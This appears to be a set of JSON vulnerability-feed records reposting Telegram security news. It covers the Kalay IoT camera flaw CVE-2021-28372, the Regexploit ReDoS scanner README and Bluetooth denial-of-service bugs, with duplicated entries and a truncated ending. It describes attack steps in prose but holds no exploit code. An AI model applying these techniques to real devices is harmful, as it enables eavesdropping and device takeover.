the device-implemented RPC interface, this can then lead to \u201cfully remote and complete device compromise,\u201d researchers described. Their enumeration of what makes this possible: \u201cMandiant observed that the binaries on IoT devices processing Kalay data typically ran as the privileged user root and lacked common binary protections such as Address Space Layout Randomization (\u201cASLR\u201d), Platform Independent Execution (\u201cPIE\u201d), stack canaries, and NX bits.\u201d\n\nThe figure below shows a hypothetical attack using the captured Kalay credentials to stage yet another attack by abusing the vulnerabilities in the Kalay RPC interface: https://media.threatpost.com/wp-content/uploads/sites/103/2021/08/17114402/Screen-Shot-2021-08-17-at-11.43.08-AM-e1629215096109.png See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 HackerMandiant isn\u2019t releasing public exploit code, but it did provide the video below, which demonstrates a proof of concept for CVE-2021-28372. How to Address the BugMandiant \u201cstrongly recommends\u201d that companies using the Kalay platform follow the following guidance from ThroughTek and Mandiant:\n\n* If the implemented SDK is below version 3.1.10, upgrade the library to version 3.3.1.0 or version 3.4.2.0 and enable the Authkey and Datagram Transport Layer Security (DTLS) features provided by the Kalay platform.\n* If the implemented SDK is version 3.1.10 and above, enable Authkey and DTLS.\n* Review security controls in place on APIs or other services that return Kalay unique identifiers (UIDs).\n* Hardening features such as ASLR, PIE, NX, and stack canaries should be enabled on all binaries processing Kalay data and RPC functions should be treated as untrusted and sanitized appropriately.\n* IoT device manufactures should apply stringent controls around web APIs used to obtain Kalay UIDs, usernames, and passwords to minimize an attacker\u2019s ability to harvest sensitive materials needed to access devices remotely. Failure to protect web APIs which return valid Kalay UIDs could allow an attacker to compromise a large number of devices.\n\nMandiant thanked ThroughTek and CISA for their cooperation and support with releasing the advisory and for their \u201ccommitment to securing IoT devices globally.\u201d\nSource: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Steam-logo-90x90.jpg Critical Valve Bug Lets Gamers Add Unlimited Funds to Steam Wallets1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/tmobile-header-90x90.webp Hacker claims to steal data of 100 million T-mobile customers2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/depositphotos_40325161-stock-photo-microsoft-building-90x90.jpg Microsoft Warns: Another Unpatched PrintNightmare Zero-Day5 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/crypto-hack-90x90.jpg Crypto Hack Earned Crooks $600 Million6 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/msft-microsoft-logo-2-3-90x90.webp Actively Exploited Windows Zero-Day Gets a Patch1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/botnet-90x90.jpg Auth Bypass Bug Exploited, Affecting Millions of Routers1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/cisco-patch-90x90.png Critical Cisco Bug in VPN Routers Allows Remote Takeover1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/delete-telegram-message-e1628177080[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T19:00:04.320894Z"}, {"uuid": "847a31aa-503d-460b-93aa-6cc3e9b0eea0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28372", "type": "seen", "source": "https://t.me/hacking_Attack/20612", "content": "Black Hat Ethical Hacking\nBug in Millions of Flawed IoT Devices Lets Attackers Eavesdrop\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Bug in Millions of Flawed IoT Devices Lets Attackers EavesdropPost Views: 84 \nReading Time: 3 Minutes\nA remote attacker could exploit a critical vulnerability to eavesdrop on live audio & video or take control. The bug is in ThroughTek\u2019s Kalay network, used in 83m devices.\nSecurity researchers have discovered a critical flaw that affects tens of millions of internet-of-things (IoT) devices \u2013 one that exposes live video and audio streams to eavesdropping threat actors and which could enable attackers to take over control of devices, including security webcams and connected baby monitors.\n\nThe flaw, tracked as CVE-2021-28372\u00a0and FEYE-2021-0020\u00a0and assigned a critical CVSS3.1 base score of 9.6, was found in devices connected via ThroughTek\u2019s Kalay IoT cloud platform.\n\nThe alarm was sounded on Tuesday by Mandiant, in coordination with the Cybersecurity and Infrastructure Security Agency (CISA) and ThroughTek. Mandiant\u2019s Red Team discovered the vulnerability in late 2020.\n\n\u201cCVE-2021-28372 poses a huge risk to an end user\u2019s security and privacy and should be mitigated appropriately,\u201d according to Mandiant\u2019s post. \u201cUnprotected devices, such as IoT cameras, can be compromised remotely with access to a UID and further attacks are possible depending on the functionality exposed by a device.\u201d\n\nThe world has already been inundated with tales of what can happen when these kind of devices are misconfigured or riddled with vulnerabilities, and this just adds to the growing pile of scary headlines. For example, in February, a vulnerability affecting multiple baby monitors was found to expose hundreds of thousands of live devices, potentially allowing someone to drop in and view a camera\u2019s video stream.\n\nAs Mandiant explained, the flaw would enable adversaries \u201cto remotely compromise victim IoT devices, resulting in the ability to listen to live audio, watch real time video data, and compromise device credentials for further attacks based on exposed device functionality. These further attacks could include actions that would allow an adversary to remotely control affected devices.\u201d\n\nIn a Tuesday post, researchers Jake Valletta, Erik Barzdukas and Dillon Franke \u2013 who discovered the bug \u2013 explained that it\u2019s impossible to compile a comprehensive list of companies and products affected, given how the Kalay protocol is integrated by manufacturers and resellers before devices reach consumers. Though they couldn\u2019t come up with a definitive list of affected companies and products that implement the Kalay platform, they strongly advised users of IoT devices \u201cto keep device software and applications up to date and use complex, unique passwords for any accounts associated with these devices.\u201d\nSee Also: Critical Valve Bug Lets Gamers Add Unlimited Funds to Steam Wallets Mandiant also recommends that device owners avoid connecting to affected devices from untrusted networks, such as public Wi-Fi: a recommendation that\u2019s already part of wireless best practices, as the National Security Agency (NSA) recently advised\u00a0in a public service announcement (PDF). Kalay: A Newly Unappealing HandshakeAccording to ThroughTek, \u201cKalay\u201d is an indigenous Dawu\u00a0word that means \u201chandshake,\u201d \u201csymbolizing the universal link in an interconnected world.\u201d\n\nThroughTek implements that handshake \u2013 the Kalay protocol \u2013 as a software development kit (SDK). The Kalay SDK provides a plug-and-play network to easily connect smart devices with corresponding mobile apps.\n\nThe researchers provided an illustration that g[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T19:00:04.370531Z"}, {"uuid": "1aabaca6-8b6d-4bdb-ae31-48da8169e164", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28092", "type": "seen", "source": "https://t.me/hacking_Attack/17172", "content": "regexploit-py \"my-project/**/*.py\" --glob  \nJavascript / Typescript\n  This will use the bundled NodeJS package in regexploit/bin/javascript which parses your JavaScript as an AST with eslint (https://github.com/typescript-eslint/typescript-eslint/tree/master/packages/parser) and prints out all regexes.  Those regexes are fed into the python ReDoS finder.  regexploit-js my-module/my-file.js another/file.js some/folder/\nregexploit-js \"my-project/node_modules/**/*.js\" --glob  N.B. there are differences between javascript and python regex parsing so there may be some errors. I'm not sure I want (https://hackernoon.com/the-madness-of-parsing-real-world-javascript-regexps-d9ee336df983) to write a JS regex AST!  \nPython imports\n  Search for regexes in all the python modules currently installed in your path / env. This means you can pip install whatever modules you are interested in and they will be analysed. Cpython code is included.  regexploit-python-env  N.B. this doesn't parse the python code to an AST and will only find regexes compiled automatically on module import. Modules are actually imported, so code in the modules will be executed. This is helpful for finding regexes which are built up from smaller strings on load e.g. CVE-2021-25292 in Pillow (https://github.com/python-pillow/Pillow/commit/3bce145966374dd39ce58a6fc0083f8d1890719c)  \nJSON / YAML\n  Yaml support requires pyyaml, which can be installed with pip install regexploit[yaml].  regexploit-json *.json\nregexploit-yaml *.yaml  \nC# (.NET)\n  regexploit-csharp something.cs  \nBugs reported    CVE-2020-5243: uap-core (https://github.com/ua-parser/uap-core/security/advisories/GHSA-cmcx-xhr8-3w9p) affecting uap-python, uap-ruby (https://github.com/ua-parser/uap-ruby/security/advisories/GHSA-pcqq-5962-hvcw), etc. (User-Agent header parsing)  CVE-2020-8492: cpython's urllib.request (https://github.com/python/cpython/commit/0b297d4ff1c0e4480ad33acae793fbaf4bf015b4) (WWW-Authenticate header parsing)  CVE-2021-21236: CairoSVG (https://github.com/advisories/GHSA-hq37-853p-g5cf) (SVG parsing)  CVE-2021-21240: httplib2 (https://github.com/httplib2/httplib2/security/advisories/GHSA-93xj-8mrv-444m) (WWW-Authenticate header parsing)  CVE-2021-25292: python-pillow (https://github.com/python-pillow/Pillow/commit/3bce145966374dd39ce58a6fc0083f8d1890719c) (PDF parsing)  CVE-2021-26813: python-markdown2 (https://github.com/trentm/python-markdown2/pull/387) (Markdown parsing)  CVE-2021-27290: npm/ssri (https://doyensec.com/resources/Doyensec_Advisory_ssri_redos.pdf) (SRI parsing)  CVE-2021-27291: pygments (https://github.com/pygments/pygments/commit/2e7e8c4a7b318f4032493773732754e418279a14) lexers for ADL, CADL, Ceylon, Evoque, Factor, Logos, Matlab, Octave, ODIN, Scilab & Varnish VCL (Syntax highlighting)  CVE-2021-27292: ua-parser-js (https://github.com/faisalman/ua-parser-js/commit/809439e20e273ce0d25c1d04e111dcf6011eb566) (User-Agent header parsing)  CVE-2021-27293: RestSharp (https://github.com/restsharp/RestSharp/issues/1556) (JSON deserialisation in a .NET C# package)  bpo-38804: cpython's http.cookiejar (https://github.com/python/cpython/pull/17157) (Set-Cookie header parsing)  SimpleCrawler (archived) (https://doyensec.com/resources/Doyensec_Advisory_simplecrawler_redos.pdf) (HTML parsing)  CVE-2021-28092: is-svg (https://github.com/sindresorhus/is-svg/commit/01f8a087fab8a69c3ac9085fbb16035907ab6a5b) (SVG parsing)  nuget.org, NuGetGallery (https://github.com/NuGet/NuGetGallery/commit/25d2d3b32b2d9f0b1ca6e0a105b0210c2c4820f4) and NuGet.Client (https://github.com/NuGet/NuGet.Client/commit/a0671e946ce71dc59def5cc8a67c6457d66f33bf) (Parsing NuGet package IDs)  markdown (python) (https://github.com/Python-Markdown/markdown/pull/1130) (Markdown parsing)  ansi-html (nodejs) (https://github.com/Tjatse/ansi-html/issues/19) (ANSI parsing)  Plus unpublished bugs in a handful of pypi, npm, ruby and nuget packages    \nCredits\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T22:00:05.707336Z"}, {"uuid": "fabb6e83-2d67-4203-9020-d12f4571f7f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28092", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/17160", "content": "and browsing a website using an old version of ua-parser may cause the server to take a long time to process your request, probably ending in status 502. InstallationPython 3.8+ is required. To extract regexes from JavaScript / TypeScript code, NodeJS 12+ is also required.\n\nOptionally make a virtual environment python3 -m venv .env\nsource .env/bin/activateNow actually install with pip pip install regexploit UsageRegexploit with a list of regexesEnter regular expressions via stdin (one per line) into regexploit. regexploitor via a file cat myregexes.txt | regexploitExtract regexes automaticallyThere is built-in support for parsing regexes out of Python, JavaScript, TypeScript, C#, YAML and JSON. Python codeParses Python code (without executing it) via the AST to find regexes. The regexes are then analysed for ReDoS. regexploit-py my-project/\nregexploit-py \"my-project/**/*.py\" --globJavascript / TypescriptThis will use the bundled NodeJS package in regexploit/bin/javascriptwhich parses your JavaScript as an AST with eslint and prints out all regexes.\n\nThose regexes are fed into the python ReDoS finder. regexploit-js my-module/my-file.js another/file.js some/folder/\nregexploit-js \"my-project/node_modules/**/*.js\" --globN.B. there are differences between javascript and python regex parsing so there may be some errors. I'm not sure I want to write a JS regex AST! Python importsSearch for regexes in all the python modules currently installed in your path / env. This means you can pip installwhatever modules you are interested in and they will be analysed. Cpython code is included. regexploit-python-envN.B. this doesn't parse the python code to an AST and will only find regexes compiled automatically on module import. Modules are actually imported, so code in the modules will be executed. This is helpful for finding regexes which are built up from smaller strings on load e.g. CVE-2021-25292 in Pillow JSON / YAMLYaml support requires pyyaml, which can be installed with pip install regexploit[yaml]. regexploit-json *.json\nregexploit-yaml *.yamlC# (.NET)regexploit-csharp something.csBugs reported* CVE-2020-5243: uap-core affecting uap-python, uap-ruby, etc. (User-Agent header parsing)\n* CVE-2020-8492: cpython's urllib.request (WWW-Authenticate header parsing)\n* CVE-2021-21236: CairoSVG (SVG parsing)\n* CVE-2021-21240: httplib2 (WWW-Authenticate header parsing)\n* CVE-2021-25292: python-pillow (PDF parsing)\n* CVE-2021-26813: python-markdown2 (Markdown parsing)\n* CVE-2021-27290: npm/ssri (SRI parsing)\n* CVE-2021-27291: pygments lexers for ADL, CADL, Ceylon, Evoque, Factor, Logos, Matlab, Octave, ODIN, Scilab & Varnish VCL (Syntax highlighting)\n* CVE-2021-27292: ua-parser-js (User-Agent header parsing)\n* CVE-2021-27293: RestSharp (JSON deserialisation in a .NET C# package)\n* bpo-38804: cpython's http.cookiejar (Set-Cookie header parsing)\n* SimpleCrawler (archived) (HTML parsing)\n* CVE-2021-28092: is-svg (SVG parsing)\n* nuget.org, NuGetGallery and NuGet.Client (Parsing NuGet package IDs)\n* markdown (python) (Markdown parsing)\n* ansi-html (nodejs) (ANSI parsing)\n* Plus unpublished bugs in a handful of pypi, npm, ruby and nuget packages CreditsThis tool has been created by Ben Caller of Doyensec LLC during research time. https://camo.githubusercontent.com/604dfb1a1bfac98d0048f363e0e6d65bd88b4fdbd57f5b001a8f76ea580c1097/68747470733a2f2f646f79656e7365632e636f6d2f696d616765732f6c6f676f2e737667 Download Regexploit\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T23:00:05.016262Z"}, {"uuid": "c159537e-44fc-4e89-9b1f-ade242c46044", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28092", "type": "seen", "source": "https://t.me/hacking_Attack/17172", "content": "regexploit-py \"my-project/**/*.py\" --glob  \nJavascript / Typescript\n  This will use the bundled NodeJS package in regexploit/bin/javascript which parses your JavaScript as an AST with eslint (https://github.com/typescript-eslint/typescript-eslint/tree/master/packages/parser) and prints out all regexes.  Those regexes are fed into the python ReDoS finder.  regexploit-js my-module/my-file.js another/file.js some/folder/\nregexploit-js \"my-project/node_modules/**/*.js\" --glob  N.B. there are differences between javascript and python regex parsing so there may be some errors. I'm not sure I want (https://hackernoon.com/the-madness-of-parsing-real-world-javascript-regexps-d9ee336df983) to write a JS regex AST!  \nPython imports\n  Search for regexes in all the python modules currently installed in your path / env. This means you can pip install whatever modules you are interested in and they will be analysed. Cpython code is included.  regexploit-python-env  N.B. this doesn't parse the python code to an AST and will only find regexes compiled automatically on module import. Modules are actually imported, so code in the modules will be executed. This is helpful for finding regexes which are built up from smaller strings on load e.g. CVE-2021-25292 in Pillow (https://github.com/python-pillow/Pillow/commit/3bce145966374dd39ce58a6fc0083f8d1890719c)  \nJSON / YAML\n  Yaml support requires pyyaml, which can be installed with pip install regexploit[yaml].  regexploit-json *.json\nregexploit-yaml *.yaml  \nC# (.NET)\n  regexploit-csharp something.cs  \nBugs reported    CVE-2020-5243: uap-core (https://github.com/ua-parser/uap-core/security/advisories/GHSA-cmcx-xhr8-3w9p) affecting uap-python, uap-ruby (https://github.com/ua-parser/uap-ruby/security/advisories/GHSA-pcqq-5962-hvcw), etc. (User-Agent header parsing)  CVE-2020-8492: cpython's urllib.request (https://github.com/python/cpython/commit/0b297d4ff1c0e4480ad33acae793fbaf4bf015b4) (WWW-Authenticate header parsing)  CVE-2021-21236: CairoSVG (https://github.com/advisories/GHSA-hq37-853p-g5cf) (SVG parsing)  CVE-2021-21240: httplib2 (https://github.com/httplib2/httplib2/security/advisories/GHSA-93xj-8mrv-444m) (WWW-Authenticate header parsing)  CVE-2021-25292: python-pillow (https://github.com/python-pillow/Pillow/commit/3bce145966374dd39ce58a6fc0083f8d1890719c) (PDF parsing)  CVE-2021-26813: python-markdown2 (https://github.com/trentm/python-markdown2/pull/387) (Markdown parsing)  CVE-2021-27290: npm/ssri (https://doyensec.com/resources/Doyensec_Advisory_ssri_redos.pdf) (SRI parsing)  CVE-2021-27291: pygments (https://github.com/pygments/pygments/commit/2e7e8c4a7b318f4032493773732754e418279a14) lexers for ADL, CADL, Ceylon, Evoque, Factor, Logos, Matlab, Octave, ODIN, Scilab & Varnish VCL (Syntax highlighting)  CVE-2021-27292: ua-parser-js (https://github.com/faisalman/ua-parser-js/commit/809439e20e273ce0d25c1d04e111dcf6011eb566) (User-Agent header parsing)  CVE-2021-27293: RestSharp (https://github.com/restsharp/RestSharp/issues/1556) (JSON deserialisation in a .NET C# package)  bpo-38804: cpython's http.cookiejar (https://github.com/python/cpython/pull/17157) (Set-Cookie header parsing)  SimpleCrawler (archived) (https://doyensec.com/resources/Doyensec_Advisory_simplecrawler_redos.pdf) (HTML parsing)  CVE-2021-28092: is-svg (https://github.com/sindresorhus/is-svg/commit/01f8a087fab8a69c3ac9085fbb16035907ab6a5b) (SVG parsing)  nuget.org, NuGetGallery (https://github.com/NuGet/NuGetGallery/commit/25d2d3b32b2d9f0b1ca6e0a105b0210c2c4820f4) and NuGet.Client (https://github.com/NuGet/NuGet.Client/commit/a0671e946ce71dc59def5cc8a67c6457d66f33bf) (Parsing NuGet package IDs)  markdown (python) (https://github.com/Python-Markdown/markdown/pull/1130) (Markdown parsing)  ansi-html (nodejs) (https://github.com/Tjatse/ansi-html/issues/19) (ANSI parsing)  Plus unpublished bugs in a handful of pypi, npm, ruby and nuget packages    \nCredits\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:10.555614Z"}, {"uuid": "69d10e04-d7bb-44d4-bc07-8bbe283660b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28092", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/17160", "content": "and browsing a website using an old version of ua-parser may cause the server to take a long time to process your request, probably ending in status 502. InstallationPython 3.8+ is required. To extract regexes from JavaScript / TypeScript code, NodeJS 12+ is also required.\n\nOptionally make a virtual environment python3 -m venv .env\nsource .env/bin/activateNow actually install with pip pip install regexploit UsageRegexploit with a list of regexesEnter regular expressions via stdin (one per line) into regexploit. regexploitor via a file cat myregexes.txt | regexploitExtract regexes automaticallyThere is built-in support for parsing regexes out of Python, JavaScript, TypeScript, C#, YAML and JSON. Python codeParses Python code (without executing it) via the AST to find regexes. The regexes are then analysed for ReDoS. regexploit-py my-project/\nregexploit-py \"my-project/**/*.py\" --globJavascript / TypescriptThis will use the bundled NodeJS package in regexploit/bin/javascriptwhich parses your JavaScript as an AST with eslint and prints out all regexes.\n\nThose regexes are fed into the python ReDoS finder. regexploit-js my-module/my-file.js another/file.js some/folder/\nregexploit-js \"my-project/node_modules/**/*.js\" --globN.B. there are differences between javascript and python regex parsing so there may be some errors. I'm not sure I want to write a JS regex AST! Python importsSearch for regexes in all the python modules currently installed in your path / env. This means you can pip installwhatever modules you are interested in and they will be analysed. Cpython code is included. regexploit-python-envN.B. this doesn't parse the python code to an AST and will only find regexes compiled automatically on module import. Modules are actually imported, so code in the modules will be executed. This is helpful for finding regexes which are built up from smaller strings on load e.g. CVE-2021-25292 in Pillow JSON / YAMLYaml support requires pyyaml, which can be installed with pip install regexploit[yaml]. regexploit-json *.json\nregexploit-yaml *.yamlC# (.NET)regexploit-csharp something.csBugs reported* CVE-2020-5243: uap-core affecting uap-python, uap-ruby, etc. (User-Agent header parsing)\n* CVE-2020-8492: cpython's urllib.request (WWW-Authenticate header parsing)\n* CVE-2021-21236: CairoSVG (SVG parsing)\n* CVE-2021-21240: httplib2 (WWW-Authenticate header parsing)\n* CVE-2021-25292: python-pillow (PDF parsing)\n* CVE-2021-26813: python-markdown2 (Markdown parsing)\n* CVE-2021-27290: npm/ssri (SRI parsing)\n* CVE-2021-27291: pygments lexers for ADL, CADL, Ceylon, Evoque, Factor, Logos, Matlab, Octave, ODIN, Scilab & Varnish VCL (Syntax highlighting)\n* CVE-2021-27292: ua-parser-js (User-Agent header parsing)\n* CVE-2021-27293: RestSharp (JSON deserialisation in a .NET C# package)\n* bpo-38804: cpython's http.cookiejar (Set-Cookie header parsing)\n* SimpleCrawler (archived) (HTML parsing)\n* CVE-2021-28092: is-svg (SVG parsing)\n* nuget.org, NuGetGallery and NuGet.Client (Parsing NuGet package IDs)\n* markdown (python) (Markdown parsing)\n* ansi-html (nodejs) (ANSI parsing)\n* Plus unpublished bugs in a handful of pypi, npm, ruby and nuget packages CreditsThis tool has been created by Ben Caller of Doyensec LLC during research time. https://camo.githubusercontent.com/604dfb1a1bfac98d0048f363e0e6d65bd88b4fdbd57f5b001a8f76ea580c1097/68747470733a2f2f646f79656e7365632e636f6d2f696d616765732f6c6f676f2e737667 Download Regexploit\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:09.137967Z"}, {"uuid": "cd99f485-8f2b-476a-831e-781f35d41667", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28372", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/20614", "content": "ntent/uploads/sites/103/2021/08/17113113/capturing-credentials-e1629214353657.png Attacker exploiting device personation vulnerability to capture credentials. Source: Mandiant.\nAfter that, a threat actor can remotely connect to the victimized device, access audio/visual data and execute remote procedure calls (RPC), Mandiant said. Due to vulnerabilities in the device-implemented RPC interface, this can then lead to \u201cfully remote and complete device compromise,\u201d researchers described. Their enumeration of what makes this possible: \u201cMandiant observed that the binaries on IoT devices processing Kalay data typically ran as the privileged user root and lacked common binary protections such as Address Space Layout Randomization (\u201cASLR\u201d), Platform Independent Execution (\u201cPIE\u201d), stack canaries, and NX bits.\u201d\n\nThe figure below shows a hypothetical attack using the captured Kalay credentials to stage yet another attack by abusing the vulnerabilities in the Kalay RPC interface: https://media.threatpost.com/wp-content/uploads/sites/103/2021/08/17114402/Screen-Shot-2021-08-17-at-11.43.08-AM-e1629215096109.png See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 HackerMandiant isn\u2019t releasing public exploit code, but it did provide the video below, which demonstrates a proof of concept for CVE-2021-28372. How to Address the BugMandiant \u201cstrongly recommends\u201d that companies using the Kalay platform follow the following guidance from ThroughTek and Mandiant:\n\n* If the implemented SDK is below version 3.1.10, upgrade the library to version 3.3.1.0 or version 3.4.2.0 and enable the Authkey and Datagram Transport Layer Security (DTLS) features provided by the Kalay platform.\n* If the implemented SDK is version 3.1.10 and above, enable Authkey and DTLS.\n* Review security controls in place on APIs or other services that return Kalay unique identifiers (UIDs).\n* Hardening features such as ASLR, PIE, NX, and stack canaries should be enabled on all binaries processing Kalay data and RPC functions should be treated as untrusted and sanitized appropriately.\n* IoT device manufactures should apply stringent controls around web APIs used to obtain Kalay UIDs, usernames, and passwords to minimize an attacker\u2019s ability to harvest sensitive materials needed to access devices remotely. Failure to protect web APIs which return valid Kalay UIDs could allow an attacker to compromise a large number of devices.\n\nMandiant thanked ThroughTek and CISA for their cooperation and support with releasing the advisory and for their \u201ccommitment to securing IoT devices globally.\u201d\nSource: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Steam-logo-90x90.jpg Critical Valve Bug Lets Gamers Add Unlimited Funds to Steam Wallets1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/tmobile-header-90x90.webp Hacker claims to steal data of 100 million T-mobile customers2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/depositphotos_40325161-stock-photo-microsoft-building-90x90.jpg Microsoft Warns: Another Unpatched PrintNightmare Zero-Day5 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/crypto-hack-90x90.jpg Crypto Hack Earned Crooks $600 Million6 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/msft-microsoft-logo-2-3-90x90.webp Actively Exploited Windows Zero-Day Gets a Patch1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/botnet-90x90.jpg Auth Bypass Bug Exploited, Affecting Millions of Routers1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/cisco-patch-90x90.png Critical Cisco Bug in VPN Routers Allows Remote Takeover1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/delete-telegram-message-e1628177080[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:27.596495Z"}, {"uuid": "db4cdc55-ba6c-42cf-9168-a0f404dcc835", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28372", "type": "seen", "source": "https://t.me/hacking_Attack/20612", "content": "Black Hat Ethical Hacking\nBug in Millions of Flawed IoT Devices Lets Attackers Eavesdrop\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Bug in Millions of Flawed IoT Devices Lets Attackers EavesdropPost Views: 84 \nReading Time: 3 Minutes\nA remote attacker could exploit a critical vulnerability to eavesdrop on live audio & video or take control. The bug is in ThroughTek\u2019s Kalay network, used in 83m devices.\nSecurity researchers have discovered a critical flaw that affects tens of millions of internet-of-things (IoT) devices \u2013 one that exposes live video and audio streams to eavesdropping threat actors and which could enable attackers to take over control of devices, including security webcams and connected baby monitors.\n\nThe flaw, tracked as CVE-2021-28372\u00a0and FEYE-2021-0020\u00a0and assigned a critical CVSS3.1 base score of 9.6, was found in devices connected via ThroughTek\u2019s Kalay IoT cloud platform.\n\nThe alarm was sounded on Tuesday by Mandiant, in coordination with the Cybersecurity and Infrastructure Security Agency (CISA) and ThroughTek. Mandiant\u2019s Red Team discovered the vulnerability in late 2020.\n\n\u201cCVE-2021-28372 poses a huge risk to an end user\u2019s security and privacy and should be mitigated appropriately,\u201d according to Mandiant\u2019s post. \u201cUnprotected devices, such as IoT cameras, can be compromised remotely with access to a UID and further attacks are possible depending on the functionality exposed by a device.\u201d\n\nThe world has already been inundated with tales of what can happen when these kind of devices are misconfigured or riddled with vulnerabilities, and this just adds to the growing pile of scary headlines. For example, in February, a vulnerability affecting multiple baby monitors was found to expose hundreds of thousands of live devices, potentially allowing someone to drop in and view a camera\u2019s video stream.\n\nAs Mandiant explained, the flaw would enable adversaries \u201cto remotely compromise victim IoT devices, resulting in the ability to listen to live audio, watch real time video data, and compromise device credentials for further attacks based on exposed device functionality. These further attacks could include actions that would allow an adversary to remotely control affected devices.\u201d\n\nIn a Tuesday post, researchers Jake Valletta, Erik Barzdukas and Dillon Franke \u2013 who discovered the bug \u2013 explained that it\u2019s impossible to compile a comprehensive list of companies and products affected, given how the Kalay protocol is integrated by manufacturers and resellers before devices reach consumers. Though they couldn\u2019t come up with a definitive list of affected companies and products that implement the Kalay platform, they strongly advised users of IoT devices \u201cto keep device software and applications up to date and use complex, unique passwords for any accounts associated with these devices.\u201d\nSee Also: Critical Valve Bug Lets Gamers Add Unlimited Funds to Steam Wallets Mandiant also recommends that device owners avoid connecting to affected devices from untrusted networks, such as public Wi-Fi: a recommendation that\u2019s already part of wireless best practices, as the National Security Agency (NSA) recently advised\u00a0in a public service announcement (PDF). Kalay: A Newly Unappealing HandshakeAccording to ThroughTek, \u201cKalay\u201d is an indigenous Dawu\u00a0word that means \u201chandshake,\u201d \u201csymbolizing the universal link in an interconnected world.\u201d\n\nThroughTek implements that handshake \u2013 the Kalay protocol \u2013 as a software development kit (SDK). The Kalay SDK provides a plug-and-play network to easily connect smart devices with corresponding mobile apps.\n\nThe researchers provided an illustration that g[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:27.644018Z"}, {"uuid": "d5cbccc0-2b62-4b78-83c7-40ddb375e3ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28155", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/22454", "content": "io can lead to DoS in laptops and smartphones. Researchers were able to achieve this using gear containing Intel AX200 SoCs and Qualcomm WCN3990 SoCs.\n\nOne of the DoS bugs (CVE-2021-34147) exists because of a failure in the SoC to free resources upon receiving an invalid LMP_timing_accuracy_response from a connected BT device (i.e., a \u201cslave,\u201d according to the paper:\n\n\u201cThe attacker can exhaust the SoC by (a) paging, (b) sending the malformed packet, and (c) disconnecting without sending LMP_detach,\u201d researchers wrote. \u201cThese steps are repeated with a different BT address (i.e., BDAddress) until the SoC is exhausted from accepting new connections. On exhaustion, the SoC fails to recover itself and disrupts current active connections, triggering firmware crashes sporadically.\u201d\n\nThe researchers were able to forcibly disconnect slave BT devices from Windows and Linux laptops, and cause BT headset disruptions on Pocophone F1 and Oppo Reno 5G smartphones.\n\nAnother DoS bug (CVE pending) affects only devices using the Intel AX200 SoC.\n\nIt\u2019s triggered when an oversized LMP_timing_accuracy_request (i.e., bigger than 17 bytes) is sent to an AX200 slave.\n\n\u201cThis temporarily corrupts AX200 firmware, which responds incorrectly during a subsequent BT connection and eventually disables the paging scan procedure,\u201d researchers explained. \u201cThus, scanning AX200 works, but no connection is established from an external BT device.\u201d\n\nAside from disconnecting master BT devices connected to a vulnerable laptop and 